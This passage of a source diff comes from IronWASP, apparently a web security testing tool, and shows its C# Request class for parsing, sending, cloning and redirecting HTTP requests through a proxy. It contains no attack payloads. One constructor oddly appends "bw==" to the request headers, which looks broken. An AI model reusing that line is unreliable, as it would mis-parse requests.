characters then return "" + public string File + { + get + { + string FullURLPath = this.URLPath; + int DotPosition = FullURLPath.LastIndexOf('.'); + if (DotPosition >= 0) + { + string File = FullURLPath.Substring(DotPosition + 1).ToLower(); + if ((File.Length == 0) || (File.Length > 8)) return ""; + char[] Chars = File.ToCharArray(); + StringBuilder ExtensionBuilder = new StringBuilder(); + foreach (char C in Chars) + { + int CharCode = (int)C; + if (CharCode > 96 && CharCode < 123) + { + ExtensionBuilder.Append(C.ToString()); + } + else + { + return ""; + } + } + return ExtensionBuilder.ToString(); + } + else + { + return ""; + } + } + } + public int LogId + { + get + { + return this.GetId(); + } + } + + //constructors + public Request(string FullURL) + { + this.InitiateParameters(); + this.AbsorbFullURL(FullURL); + } + public Request(string Method, string FullURL) + { + this.InitiateParameters(); + this.AbsorbFullURL(FullURL); + this.Method = Method; + } + public Request(string Method, string FullURL, string BodyString) + { + this.InitiateParameters(); + this.AbsorbFullURL(FullURL); + this.Method = Method; + this.SetBody(BodyString); + } + internal Request(string RequestHeaders, byte[] BodyArray) + { + this.InitiateParameters(); + this.AbsorbRequestString(RequestHeaders + "bw==", false, true); + this.SetBody(BodyArray); + } + internal Request (string RequestString, bool IsSSL) + { + this.InitiateParameters(); + this.AbsorbRequestString(RequestString,IsSSL,false); + } + internal Request(string RequestString, bool IsSSL, bool OverrideSSLParameter) + { + this.InitiateParameters(); + this.AbsorbRequestString(RequestString, IsSSL, OverrideSSLParameter); + } + + internal Request(Fiddler.Session Sess) + { + this.InitiateParameters(); + if (Sess.oFlags.ContainsKey("IronFlag-ID")) + { + this.ID = Int32.Parse(Sess.oFlags["IronFlag-ID"]); + } + if (Sess.oFlags.ContainsKey("IronFlag-ScanID")) + { + this.ScanID = Int32.Parse(Sess.oFlags["IronFlag-ScanID"]); + } + if (Sess.oFlags.ContainsKey("IronFlag-Ticks")) + { + this.TimeObject = new DateTime(long.Parse(Sess.oFlags["IronFlag-Ticks"])); + } + if (Sess.oFlags.ContainsKey("IronFlag-BuiltBy")) + { + switch (Sess.oFlags["IronFlag-BuiltBy"]) + { + case("ManualTestingSection"): + this.Source = RequestSource.Test; + break; + case (RequestSource.Shell): + this.Source = RequestSource.Shell; + break; + case (RequestSource.Probe): + this.Source = RequestSource.Probe; + break; + case (RequestSource.Scan): + this.Source = RequestSource.Scan; + break; + case (RequestSource.Stealth): + this.Source = RequestSource.Stealth; + break; + default: + if (Config.IsSourcePresent(Sess.oFlags["IronFlag-BuiltBy"])) + this.Source = Sess.oFlags["IronFlag-BuiltBy"]; + break; + } + } + if (Sess.oFlags.ContainsKey("IronFlag-RunPassivePlugins")) + { + this.CanRunPassivePlugins = Sess.oFlags["IronFlag-RunPassivePlugins"].Equals("1"); + } + this.AbsorbFullURL(Sess.fullUrl); + this.Method = Sess.oRequest.headers.HTTPMethod; + foreach (Fiddler.HTTPHeaderItem HHI in Sess.oRequest.headers) + { + this.Headers.Add(HHI.Name, HHI.Value); + } + this.SetBody(Sess.requestBodyBytes); + } + + //public non-static methods + public void SetBody(string BodyString) + { + this.FreezeBodyString = true; + this.SetBodyWithoutUpdatingParameters(BodyString); + this.body = new BodyParameters(this, this.bodyString); + this.FreezeBodyString = false; + } + + public void SetBody(byte[] NewBodyArray) + { + this.FreezeBodyString = true; + if (NewBodyArray == null) + { + this.SetEmptyBody(); + return; + } + else if(NewBodyArray.Length == 0) + { + this.SetEmptyBody(); + return; + } + this.bodyArray = new byte[NewBodyArray.Length]; + NewBodyArray.CopyTo(this.bodyArray, 0); + this.bodyString = this.GetBodyArrayAsString(this.bodyArray); + this.body = new BodyParameters(this, this.bodyString); + this.headers.Set("Content-Length", this.bodyArray.Length.ToString()); + this.FreezeBodyString = false; + } + + public string GetBodyEncoding() + { + if (this.Headers.Has("Content-Type")) + { + string ContentType = this.Headers.Get("Content-Type"); + int Loc = ContentType.IndexOf("charset="); + string Charset = Tools.GetCharsetFromContentType(ContentType); + if (Charset.Length > 0) + { + try + { + Encoding.GetEncoding(Charset); + return Charset; + } + catch + { + return this.DefaultBodyCharset; + } + } + } + return this.DefaultBodyCharset; + } + + public string GetHeadersAsString() + { + StringBuilder RB = new StringBuilder(); + RB.Append(this.Method); + RB.Append(" "); + if (this.SSL) + { + RB.Append("https://"); + } + else + { + RB.Append("http://"); + } + RB.Append(this.Host); + RB.Append(this.URL); + RB.Append(" "); + RB.Append(this.HTTPVersion); + RB.Append("\r\n"); + RB.Append(this.headers.GetAsString()); + string Result = RB.ToString(); + return Result; + } + + public byte[] GetFullRequestAsByteArray() + { + byte[] HeaderArray = Encoding.GetEncoding("ISO-8859-1").GetBytes(this.GetHeadersAsString()); + if (this.bodyArray == null) + { + this.bodyArray = new byte[0]; + } + return HTTPMessage.GetFullMessageAsByteArray(HeaderArray, this.bodyArray); + } + public override string ToString() + { + StringBuilder SB = new StringBuilder(); + SB.Append(this.GetHeadersAsString()); + SB.Append(this.BodyString); + return SB.ToString(); + } + public string ToShortString() + { + StringBuilder SB = new StringBuilder(); + SB.Append(this.GetHeadersAsStringWithoutFullURL()); + SB.Append(this.BodyString); + return SB.ToString(); + } + public string ToBinaryString() + { + StringBuilder SB = new StringBuilder(); + SB.Append(Tools.Base64Encode(this.GetHeadersAsString())); + SB.Append(":"); + SB.Append(Tools.Base64EncodeByteArray(this.BodyArray)); + return SB.ToString(); + } + public Response SendReq() + { + return this.Send(); + } + public Response Send() + { + if (!IronProxy.ProxyRunning) + { + throw new Exception("IronWASP Proxy is currently not running. IronWASP cannot send Requests unless the Proxy is started. Please go to the Proxy section of IronWASP and click on the 'Start Proxy' button to fix this problem."); + } + + + //this.response = null; + StringDictionary Flags = new StringDictionary(); + string BuiltBy; + if(this.Source == RequestSource.Scan) + { + BuiltBy = "Scan"; + this.ID = Interlocked.Increment(ref Config.ScanRequestsCount); + Flags.Add("IronFlag-ScanID", this.ScanID.ToString()); + } + else if(this.Source == RequestSource.Probe) + { + BuiltBy = "Probe"; + this.ID = Interlocked.Increment(ref Config.ProbeRequestsCount); + } + else if (this.Source == RequestSource.Stealth) + { + BuiltBy = "Stealth"; + this.ID = Interlocked.Increment(ref Config.StealthRequestsCount); + } + else if (this.Source == RequestSource.Shell) + { + BuiltBy = "Shell"; + this.ID = Interlocked.Increment(ref Config.ShellRequestsCount); + } + else + { + BuiltBy = this.Source; + this.ID = Config.GetNewId(this.Source); + } + Flags.Add("IronFlag-BuiltBy", BuiltBy); + Flags.Add("IronFlag-ID", this.ID.ToString()); + if(this.CanRunPassivePlugins) + Flags.Add("IronFlag-RunPassivePlugins", "1"); + else + Flags.Add("IronFlag-RunPassivePlugins", "0"); + Fiddler.HTTPRequestHeaders ReqHeaders = new Fiddler.HTTPRequestHeaders(); + ReqHeaders.HTTPMethod = this.Method; + ReqHeaders.HTTPVersion = this.HTTPVersion; + ReqHeaders.RequestPath = this.URL; + if (this.SSL) + { + ReqHeaders.UriScheme = "https"; + } + else + { + ReqHeaders.UriScheme = "http"; + } + foreach (string Name in this.Headers.GetNames()) + { + foreach (string Value in this.headers.GetAll(Name)) + { + ReqHeaders.Add(Name, Value); + } + } + //this.MSR = new ManualResetEvent(false); + string DictID = string.Format("{0}-{1}", this.ID, BuiltBy); + this.TimeObject = DateTime.Now; + //lock (Config.APIResponseDict) + //{ + // Config.APIResponseDict.Add(DictID, this); + //} + if (OverrideHostTo.Length > 0) + { + Flags["x-overrideHost"] = this.Host; + this.Host = OverrideHostTo; + } + + Fiddler.Session Sess; + if (this.HasBody) + { + //Fiddler.FiddlerApplication.oProxy.InjectCustomRequest(ReqHeaders, this.bodyArray, Flags); + Sess = Fiddler.FiddlerApplication.oProxy.SendRequestAndWait(ReqHeaders, this.BodyArray, Flags, null); + } + else + { + //string RequestStringForFiddler = this.GetHeadersAsString(); + //Fiddler.FiddlerApplication.oProxy.InjectCustomRequest(RequestStringForFiddler, Flags); + Sess = Fiddler.FiddlerApplication.oProxy.SendRequestAndWait(ReqHeaders, new byte[] { }, Flags, null); + } + Response Res = new Response(Sess); + + //this.SetResponse(IrSe.Response); + + //this.MSR.WaitOne(); + //lock (Config.APIResponseDict) + //{ + // Config.APIResponseDict.Remove(DictID); + //} + + //if (this.response.Code == 502 && this.response.Status.StartsWith("Fiddler - ")) + //{ + // throw new Exception(this.response.Status.Replace("Fiddler - ","")); + //} + //return this.response; + + if ((Res.Code == 502 || Res.Code == 504) && Res.Status.StartsWith("Fiddler - ")) + { + throw new Exception(Res.Status.Replace("Fiddler - ", "")); + } + return Res; + } + + public void SendWithoutAReturn() + { + try + { + this.ResponseStoredForSendWithTimeout = null; + this.ResponseStoredForSendWithTimeout = this.Send(); + } + catch(Exception Exp) + { + this.SendWithoutAReturnException = Exp; + } + } + + public Response SendReq(int TimeOut) + { + return this.Send(TimeOut); + } + + public Response Send(int TimeOut) + { + this.SendWithoutAReturnException = null; + Thread T = new Thread(SendWithoutAReturn); + long StartTime = DateTime.Now.Ticks; + T.Start(); + while (((DateTime.Now.Ticks - StartTime) / 10000) < TimeOut) + { + Thread.Sleep(50); + if (this.ResponseStoredForSendWithTimeout != null) + { + if (this.ResponseStoredForSendWithTimeout.ID == this.ID) + { + Response Res = this.ResponseStoredForSendWithTimeout; + this.ResponseStoredForSendWithTimeout = null; + return Res; + } + else + { + this.ResponseStoredForSendWithTimeout = null; + } + } + + if (this.SendWithoutAReturnException != null) + { + throw this.SendWithoutAReturnException; + } + } + throw new Exception("Request timed out"); + } + + public Request GetClone() + { + return GetClone(false); + } + + public Request GetClone(bool CopyID) + { + Request ClonedRequest = new Request(this.ToString(), this.SSL); + ClonedRequest.SessionHandler = this.SessionHandler; + ClonedRequest.Source = this.Source; + ClonedRequest.CanRunPassivePlugins = this.CanRunPassivePlugins; + if (CopyID) ClonedRequest.ID = this.ID; + if (this.ScanID != 0) + { + ClonedRequest.ScanID = this.ScanID; + } + ClonedRequest.TimeObject = this.TimeObject; + return ClonedRequest; + } + + public void SetCookie(Response Res) + { + this.SetCookie(Res.SetCookies); + } + + public void SetCookie(List SetCookies) + { + foreach (SetCookie SC in SetCookies) + { + this.SetCookie(SC); + } + } + + public void SetCookie(SetCookie SetCookie) + { + this.Cookie.Set(SetCookie.Name, SetCookie.Value); + } + + public void SetCookie(CookieStore Store) + { + foreach (SetCookie SC in Store.GetCookies(this)) + { + this.Cookie.Set(SC.Name, SC.Value); + } + } + + public void SetSource(string EnteredSource) + { + if (RequestSource.IsInternal(EnteredSource)) + { + throw new Exception(string.Format("{0} - is not allowed as a source name. Try another value.", EnteredSource)); + } + else + { + if (EnteredSource.Trim().Length == 0) + { + throw new Exception("Log Source cannot be empty"); + } + if (!Regex.IsMatch(EnteredSource, "^[a-zA-Z\\s]+$")) + { + throw new Exception("Log Source can only contain alphabets and space."); + } + this.Source = EnteredSource; + } + } + + public Request GetRedirect(Response Res) + { + if (Res.IsRedirect) + { + if (Res.Headers.Has("Location")) + { + string NewUrl = Res.Headers.Get("Location"); + Request NewReq = new Request(this.FullURL); + if (NewUrl.StartsWith("/")) + { + NewReq.URL = NewUrl; + } + else if (NewUrl.StartsWith("http://") || NewUrl.StartsWith("https://")) + { + NewReq.FullURL = NewUrl; + } + else if (NewUrl.StartsWith("..")) + { + int DirBackNumber = 0; + List UpdatedNewUrlPathParts = NewReq.UrlPathParts; + List NewUrlPathParts = new List(NewUrl.Split('/')); + if (!NewReq.Url.EndsWith("/") && UpdatedNewUrlPathParts.Count > 0) UpdatedNewUrlPathParts.RemoveAt(UpdatedNewUrlPathParts.Count - 1); + foreach (string NewUrlPathPart in NewUrlPathParts) + { + if (NewUrlPathPart.Equals("..")) + DirBackNumber++; + else + break; + } + + while (UpdatedNewUrlPathParts.Count > 0 && DirBackNumber > 0) + { + UpdatedNewUrlPathParts.RemoveAt(UpdatedNewUrlPathParts.Count - 1); + if (NewUrlPathParts.Count > 0) NewUrlPathParts.RemoveAt(0); + DirBackNumber--; + } + UpdatedNewUrlPathParts.AddRange(NewUrlPathParts); + NewReq.UrlPathParts = UpdatedNewUrlPathParts; + if (NewUrl.EndsWith("/")) + { + if (!NewReq.Url.EndsWith("/")) NewReq.Url = NewReq.Url + "/"; + } + else + { + if (NewReq.Url.EndsWith("/") && NewReq.Url.Length > 1) NewReq.Url = NewReq.Url.TrimEnd(new char[] { '/' }); + } + } + else + { + List NewUrlPathParts = NewReq.UrlPathParts; + if (!NewReq.Url.EndsWith("/") && NewUrlPathParts.Count > 0) NewUrlPathParts.RemoveAt(NewUrlPathParts.Count - 1); + NewReq.UrlPathParts = NewUrlPathParts; + if (!NewReq.Url.EndsWith("/")) NewReq.Url = NewReq.Url + "/"; + NewReq.Url = NewReq.Url + NewUrl; + } + //this check is needed since sometimes the redirect can go to a different domain + if (this.Host == NewReq.Host) + { + NewReq.CookieString = this.CookieString; + NewReq.SetCookie(Res.SetCookies); + } + //Update the Source of the redirect request with the value of the current request + NewReq.Source = this.Source; + if (this.Source.Equals("Scan")) + NewReq.ScanID = this.ScanID; + //Update general headers associated with the current request in to the header of the redirect request + foreach (string HeaderName in this.Headers.GetNames()) + { + if (!(HeaderName.Equals("Host", StringComparison.OrdinalIgnoreCase) || HeaderName.Equals("Content-Length", StringComparison.OrdinalIgnoreCase) || HeaderName.Equals("Content-Type", StringComparison.OrdinalIgnoreCase) || HeaderName.Equals("Cookie", StringComparison.OrdinalIgnoreCase))) + { + foreach (string HeaderValue in this.Headers.GetAll(HeaderName)) + { + NewReq.Headers.Add(HeaderName, HeaderValue); + } + } + } + return NewReq; + } + } + return null; + } + + public Response Follow(Response Res) + { + Request RedirectReq = GetRedirect(Res); + if (RedirectReq == null) + return Res; + else + return RedirectReq.Send(); + } + + public int GetId() + { + return this.ID; + } + + public string ToTestUi() + { + return ToTestUi(""); + } + + public string ToTestUi(string Name) + { + if (Name.Trim().Length == 0 || ManualTesting.GroupSessions.ContainsKey(Name)) + { + return ManualTesting.CreateNewGroupWithRequest(this, false); + } + else + { + ManualTesting.CreateNewGroupWithRequest(this, Name, false); + return Name; + } + } + + //internal non-static methods + internal void UpdateURLWithQueryString(string QueryString) + { + string[] URLParts = new string[2]; + URLParts = this.url.Split(new char[] {'?'}, 2); + if (URLParts[0].Length == 0) URLParts[0] = "/"; + if (QueryString.Length > 0) + { + this.url = URLParts[0] + "?" + QueryString; + } + else + { + this.url = URLParts[0]; + } + } + internal void SetBodyWithoutUpdatingParameters(string BodyString) + { + if (BodyString == null) + { + this.SetEmptyBody(); + return; + } + else if (BodyString.Length == 0) + { + this.SetEmptyBody(); + return; + } + this.bodyString = BodyString; + this.bodyArray = this.GetBodyStringAsArray(this.bodyString); + this.headers.Set("Content-Length", this.bodyArray.Length.ToString()); + } + + internal void SetCookieWithoutUpdatingParameters(string CookieString) + { + if (CookieString.Length > 0) + { + this.Headers.Set("Cookie", CookieString); + } + else + { + if (this.Headers.Has("Cookie")) + { + this.Headers.Remove("Cookie"); + } + } + } + + internal void UpdateCookieParametersWithoutUpdatingHeaders(string CookieString) + { + this.FreezeCookieHeader = true; + this.cookie = new CookieParameters(this, CookieString); + this.FreezeCookieHeader = false; + } + //internal void SetResponse(Response Res) + //{ + // this.response = Res; + //} + internal Fiddler.Session ReturnAsFiddlerSession() + { + Fiddler.HTTPRequestHeaders HRH = this.GetFiddlerHTTPRequestHeaders(); + Fiddler.Session Sess = new Fiddler.Session(HRH, this.bodyArray); + return Sess; + } + internal Fiddler.HTTPRequestHeaders GetFiddlerHTTPRequestHeaders() + { + Fiddler.HTTPRequestHeaders HRH = new Fiddler.HTTPRequestHeaders(); + HRH.HTTPMethod = this.Method; + HRH.HTTPVersion = this.HTTPVersion; + HRH.RequestPath = this.URL; + if (this.SSL) + { + HRH.UriScheme = "https"; + } + else + { + HRH.UriScheme = "http"; + } + foreach (string Key in Headers.GetNames()) + { + foreach (string Value in Headers.GetAll(Key)) + { + HRH.Add(Key, Value); + } + } + return HRH; + } + internal string GetHeadersAsStringWithoutFullURL() + { + StringBuilder RB = new StringBuilder(); + RB.Append(this.Method); + RB.Append(" "); + RB.Append(this.URL); + RB.Append(" "); + RB.Append(this.HTTPVersion); + RB.Append("\r\n"); + RB.Append(this.headers.GetAsString()); + string Result = RB.ToString(); + return Result; + } + + + //private non-static methods + + void CheckBodyFormat() + { + if (!BodyStringHash.Equals(Tools.MD5(this.BodyString))) + { + this.formatType = FormatPlugin.GetFormatType(this); + this.BodyStringHash = Tools.MD5(this.BodyString); + } + } + + void AbsorbRequestString(string RequestString, bool SSL, bool OverrideSSLParameter) + { + HTTPMessage Msg = new HTTPMessage(RequestString); + this.headers = new RequestHeaderParameters(this,Msg.Headers); + this.SetParametersFromHeaders(this.headers); + this.SSL = SSL; + string[] FirstHeaderParts = new string[3]; + string[] FirstSplit = Msg.FirstHeader.Split(new string[]{" "}, 2, StringSplitOptions.RemoveEmptyEntries); + if (FirstSplit.Length != 2) + { + throw new Exception("Invalid Request URL"); + } + FirstHeaderParts[0] = FirstSplit[0]; + int LastSpace = FirstSplit[1].LastIndexOf(" "); + if (LastSpace < 1 || LastSpace > (FirstSplit[1].Length - 8)) + { + throw new Exception("Invalid Request URL"); + } + FirstHeaderParts[1] = FirstSplit[1].Substring(0, LastSpace).Replace(" ", "%20"); + FirstHeaderParts[2] = FirstSplit[1].Substring(LastSpace+1); + this.HTTPVersion = FirstHeaderParts[2]; + if (this.HTTPVersion.Equals("HTTP/1.1")) + { + if (!this.Headers.Has("Host")) + { + throw new Exception("Hostname information missing"); + } + } + else if (!this.HttpVersion.Equals("HTTP/1.0")) + { + throw new Exception("Invalid HTTP version"); + } + this.Method = FirstHeaderParts[0]; + string URLPart = FirstHeaderParts[1]; + if (URLPart.StartsWith("/")) + { + this.URL = URLPart; + this.AbsorbFullURL(this.FullURL); + } + else if (URLPart.StartsWith("https://") || URLPart.StartsWith("http://")) + { + this.AbsorbFullURL(URLPart); + if (!OverrideSSLParameter) + { + this.SSL = SSL; + } + } + else + { + throw new Exception("Invalid Request URL"); + } + + //process body + this.SetBody(Msg.BodyString); + } + + internal void SetCookie(string CookieString) + { + this.FreezeCookieString = true; + this.SetCookieWithoutUpdatingParameters(CookieString); + this.cookie = new CookieParameters(this, CookieString); + this.FreezeCookieString = false; + } + + string GetBodyArrayAsString(byte[] BodyArray) + { + return Encoding.GetEncoding(this.GetBodyEncoding()).GetString(BodyArray); + } + + byte[] GetBodyStringAsArray(string BodyString) + { + return Encoding.GetEncoding(this.GetBodyEncoding()).GetBytes(BodyString); + } + + string ProcessAndEncodeRawInputUrl(string Input) + { + string Path = ""; + string Query = ""; + string HashPart = ""; + + if (Input.Contains("#")) + { + string[] InputPartsAtHash = Input.Split(new char[] { '#' }, 2); + { + if (InputPartsAtHash.Length == 2) + { + Input = InputPartsAtHash[0]; + HashPart = InputPartsAtHash[1]; + } + } + } + + if (Input.Contains("?")) + { + string[] InputParts = Input.Split(new char[] { '?' }, 2); + if (InputParts.Length == 2) + { + Path = InputParts[0]; + Query = InputParts[1]; + } + else + { + Path = Input; + } + } + else + { + Path = Input; + } + Path = Path.Replace("%2f", "/").Replace("%2F", "/"); + StringBuilder SB = new StringBuilder(); + SB.Append(Path); + if (Query.Length > 0 || Input.EndsWith("?")) + { + SB.Append("?"); + } + string[] QueryParts = Query.Split(new char[] { '&' }, StringSplitOptions.RemoveEmptyEntries); + foreach (string QueryPart in QueryParts) + { + string[] KV = QueryPart.Split(new char[] { '=' }, 2); + string Key = ""; + string Value = ""; + if (KV.Length > 0) + { + Key = Tools.RelaxedUrlEncode(KV[0]); + } + if (KV.Length == 2) + { + Value = Tools.RelaxedUrlEncode(KV[1]); + } + SB.Append(Key); + if (Value.Length > 0 || QueryPart.EndsWith("=")) + { + SB.Append("="); + } + SB.Append(Value); + SB.Append("&"); + } + string ProcessedInput = SB.ToString(); + if (!Query.EndsWith("&")) + { + ProcessedInput = ProcessedInput.TrimEnd('&'); + } + return Tools.UrlPathEncode(ProcessedInput); + } + + void AbsorbFullURL(string FullURL) + { + FullURL = this.ProcessAndEncodeRawInputUrl(FullURL); + if (!(FullURL.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || FullURL.StartsWith("https://", StringComparison.OrdinalIgnoreCase))) + { + throw new Exception("Request URL does not start with http:// or https://"); + } + string[] URIParts = FullURL.Split(new string[] { "://" }, 2, StringSplitOptions.RemoveEmptyEntries); + if (URIParts.Length != 2) throw new Exception("Invalid Request URL"); + string Scheme = URIParts[0]; + string HostAndPath = URIParts[1]; + if (HostAndPath.Contains("?")) + { + if ((HostAndPath.Contains("/") && (HostAndPath.IndexOf('?') < HostAndPath.IndexOf('/'))) || !HostAndPath.Contains("/")) + { + string[] HostAndPathParts = HostAndPath.Split(new char[] { '?' }, 2); + if (HostAndPathParts.Length == 2) + { + HostAndPath = string.Format("{0}/?{1}", HostAndPathParts[0], HostAndPathParts[1]); + } + } + } + else if (!HostAndPath.Contains("/")) + { + + HostAndPath += "/"; + } + int StartOfPath = HostAndPath.IndexOf("/"); + this.Host = HostAndPath.Substring(0, StartOfPath); + if (this.Host.Length == 0) throw new Exception("Hostname is missing in URL"); + this.URL = HostAndPath.Substring(StartOfPath); + if (Scheme.Equals("https")) + { + this.SSL = true; + } + else if (Scheme.Equals("http")) + { + this.SSL = false; + } + else + { + throw new Exception("Invalid Request URL"); + } + } + + void SetContentType(string ContentType) + { + if (ContentType.Length > 0) + { + this.Headers.Set("Content-Type", ContentType); + } + else + { + if (this.Method.Equals("GET") || this.Method.Equals("HEAD")) + { + if (this.Headers.Has("Content-Type")) + { + this.Headers.Remove("Content-Type"); + } + } + else + { + this.Headers.Set("Content-Type", ContentType); + } + } + } + void SetParametersFromHeaders(RequestHeaderParameters Headers) + { + if (this.headers.Has("Cookie")) + { + this.SetCookie(this.headers.Get("Cookie")); + } + } + void SetEmptyBody() + { + this.bodyString = ""; + this.bodyArray = new byte[0]; + if (this.Method.Equals("GET") || this.Method.Equals("HEAD") || this.Method.Equals("CONNECT")) + { + if (this.headers.Has("Content-Length")) + { + this.headers.Remove("Content-Length"); + } + } + else if (this.Method.Equals("PUT") || this.Method.Equals("POST")) + { + this.headers.Set("Content-Length", "0"); + } + else if (this.headers.Has("Content-Length")) + { + this.headers.Set("Content-Length", "0"); + } + return; + } + void InitiateParameters() + { + this.query = new QueryParameters(this); + this.body = new BodyParameters(this); + this.cookie = new CookieParameters(this); + this.headers = new RequestHeaderParameters(this); + } + + //to be used inside UI and DB updating areas + internal string GetParametersString() + { + StringBuilder PB = new StringBuilder(); + if (Query.Count > 0) PB.Append("Q "); + if (Body.Count > 0) PB.Append("B "); + if (Cookie.Count > 0) PB.Append("C "); + if (Headers.Count > 0) PB.Append("H "); + return PB.ToString(); + } + + //public static methods + public static Request FromProxyLog(int ID) + { + Session IrSe = Session.FromProxyLog(ID); + return IrSe.Request; + } + public static Request FromTestLog(int ID) + { + Session IrSe = Session.FromTestLog(ID); + return IrSe.Request; + } + public static Request FromShellLog(int ID) + { + Session IrSe = Session.FromShellLog(ID); + return IrSe.Request; + } + public static Request FromProbeLog(int ID) + { + Session IrSe = Session.FromProbeLog(ID); + return IrSe.Request; + } + public static Request FromScanLog(int ID) + { + Session IrSe = Session.FromScanLog(ID); + return IrSe.Request; + } + public static Request FromLog(int ID, string Source) + { + switch (Source) + { + case ("Proxy"): + return FromProxyLog(ID); + case ("Probe"): + return FromProbeLog(ID); + case ("Test"): + return FromTestLog(ID); + case ("Shell"): + return FromShellLog(ID); + case ("Scan"): + return FromScanLog(ID); + default: + Session IrSe = Session.FromLog(ID, Source); + return IrSe.Request; + } + } + public static Request FromString(string RequestString) + { + return new Request(RequestString, false, true); + } + public static Request FromBinaryString(string BinaryRequestString) + { + string[] RequestParts = BinaryRequestString.Split(new char[] { ':' }, 2, StringSplitOptions.RemoveEmptyEntries); + if (RequestParts.Length == 1) + { + return Request.FromString(Tools.Base64Decode(RequestParts[0])); + } + else if (RequestParts.Length == 2) + { + return new Request(Tools.Base64Decode(RequestParts[0]), Tools.Base64DecodeToByteArray(RequestParts[1])); + } + else + { + throw new Exception("Invalid input string"); + } + } + + public static List FromProxyLog() + { + List Requests = new List(); + List Sessions = Session.FromProxyLog(); + foreach (Session Sess in Sessions) + { + if (Sess.Request != null) Requests.Add(Sess.Request); + } + return Requests; + } + public static List FromTestLog() + { + List Requests = new List(); + List Sessions = Session.FromTestLog(); + foreach (Session Sess in Sessions) + { + if (Sess.Request != null) Requests.Add(Sess.Request); + } + return Requests; + } + public static List FromShellLog() + { + List Requests = new List(); + List Sessions = Session.FromShellLog(); + foreach (Session Sess in Sessions) + { + if (Sess.Request != null) Requests.Add(Sess.Request); + } + return Requests; + } + public static List FromProbeLog() + { + List Requests = new List(); + List Sessions = Session.FromProbeLog(); + foreach (Session Sess in Sessions) + { + if (Sess.Request != null) Requests.Add(Sess.Request); + } + return Requests; + } + public static List FromScanLog() + { + List Requests = new List(); + List Sessions = Session.FromScanLog(); + foreach (Session Sess in Sessions) + { + if (Sess.Request != null) Requests.Add(Sess.Request); + } + return Requests; + } + public static List FromLog(string Source) + { + switch (Source) + { + case ("Proxy"): + return FromProxyLog(); + case ("Probe"): + return FromProbeLog(); + case ("Test"): + return FromTestLog(); + case ("Shell"): + return FromShellLog(); + case ("Scan"): + return FromScanLog(); + default: + List Requests = new List(); + List Sessions = Session.FromLog(Source); + foreach (Session Sess in Sessions) + { + if (Sess.Request != null) Requests.Add(Sess.Request); + } + return Requests; + } + } + + public static bool IsSame(Request A, Request B) + { + try + { + if (!A.GetHeadersAsString().Equals(B.GetHeadersAsString())) return false; + if (A.BodyLength != B.BodyLength) return false; + for (int i = 0; i < A.BodyLength; i++) + { + if (A.BodyArray[i] != B.BodyArray[i]) return false; + } + } + catch { return false; } + return true; + } + + public string RelativeUrlToAbsoluteUrl(string RelativeUrl) + { + string AbsoluteUrl = Crawler.NormalizeUrl(this, RelativeUrl); + try + { + new Request(AbsoluteUrl); + return AbsoluteUrl; + } + catch + { + return this.FullUrl; + } + } + + internal static string PathPartEncode(string Value) + { + return Tools.UrlPathPartEncode(Value); + } + internal static string PathPartDecode(string Value) + { + return Tools.UrlPathPartDecode(Value); + } + + string Decode(string Value) + { + return Tools.UrlDecode(Value); + } + + string SafeRaw(string Value) + { + return Tools.RelaxedUrlEncode(Value); + } + } +} diff --git a/IronWASP/RequestHeaderParameters.cs b/Iron/RequestHeaderParameters.cs similarity index 96% rename from IronWASP/RequestHeaderParameters.cs rename to Iron/RequestHeaderParameters.cs index 444bb79..0ea53d4 100644 --- a/IronWASP/RequestHeaderParameters.cs +++ b/Iron/RequestHeaderParameters.cs @@ -1,180 +1,180 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class RequestHeaderParameters : HeaderParameters - { - Request Request; - internal RequestHeaderParameters(Request Request) : base() - { - this.Request = Request; - } - internal RequestHeaderParameters(Request Request, HeaderParameters RequestHeaders) : base(RequestHeaders) - { - this.Request = Request; - } - - public void RawSet(string Name, string Value) - { - Name = ProcessName(Name); - - base.Set(Name, Value); - if (Name.Equals("Cookie")) - { - this.ProcessUpdate(Value); - } - } - new public void Set(string Name, string Value) - { - this.RawSet(Encode(Name), Encode(Value)); - } - - public void RawSet(string Name, int Position, string Value) - { - Name = ProcessName(Name); - - base.Set(Name, Position, Value); - if (Name.Equals("Cookie")) - { - this.ProcessUpdate(Value); - } - } - new public void Set(string Name, int Position, string Value) - { - this.RawSet(Encode(Name), Position, Encode(Value)); - } - - public void RawSetAt(string Name, int Position, string Value) - { - this.RawSet(Name, Position, Value); - } - new public void SetAt(string Name, int Position, string Value) - { - this.Set(Name, Position, Value); - } - - public void RawSet(string Name, List Values) - { - Name = ProcessName(Name); - - if ((Name.Equals("Host") || Name.Equals("Content-Length") || Name.Equals("Content-Type") || Name.Equals("User-Agent") || Name.Equals("Cookie")) && (Values.Count > 1)) - { - throw new Exception("Hostname, Content-Length, Content-Type, User-Agent cannot take multiple entries, try Add(string Name, string Value)"); - } - else - { - base.Set(Name, Values); - } - } - new public void Set(string Name, List Values) - { - List Vals = new List(); - foreach (string Value in Values) - { - Vals.Add(Encode(Value)); - } - this.RawSet(Encode(Name), Vals); - } - - public void RawAdd(string Name, string Value) - { - Name = ProcessName(Name); - - if (Name.Equals("Host") || Name.Equals("Content-Length") || Name.Equals("Content-Type") || Name.Equals("User-Agent") || Name.Equals("Cookie")) - { - base.Set(Name, Value); - } - else - { - base.Add(Name, Value); - } - if (Name.Equals("Cookie")) - { - this.ProcessUpdate(Value); - } - } - new public void Add(string Name, string Value) - { - this.RawAdd(Encode(Name), Encode(Value)); - } - - public void RawRemove(string Name) - { - Name = ProcessName(Name); - if (Name == "Host") - { - return; - } - base.Remove(Name); - if (Name.Equals("Cookie")) - { - this.ProcessUpdate(""); - } - } - new public void Remove(string Name) - { - this.RawRemove(Encode(Name)); - } - - new public void RemoveAll() - { - string Host = ""; - if (this.Has("Host")) - { - Host = this.Get("Host"); - } - base.RemoveAll(); - this.Set("Host", Host); - this.ProcessUpdate(""); - } - internal string GetAsString() - { - return base.GetStringFromHeaders(); - } - - void ProcessUpdate(string Value) - { - 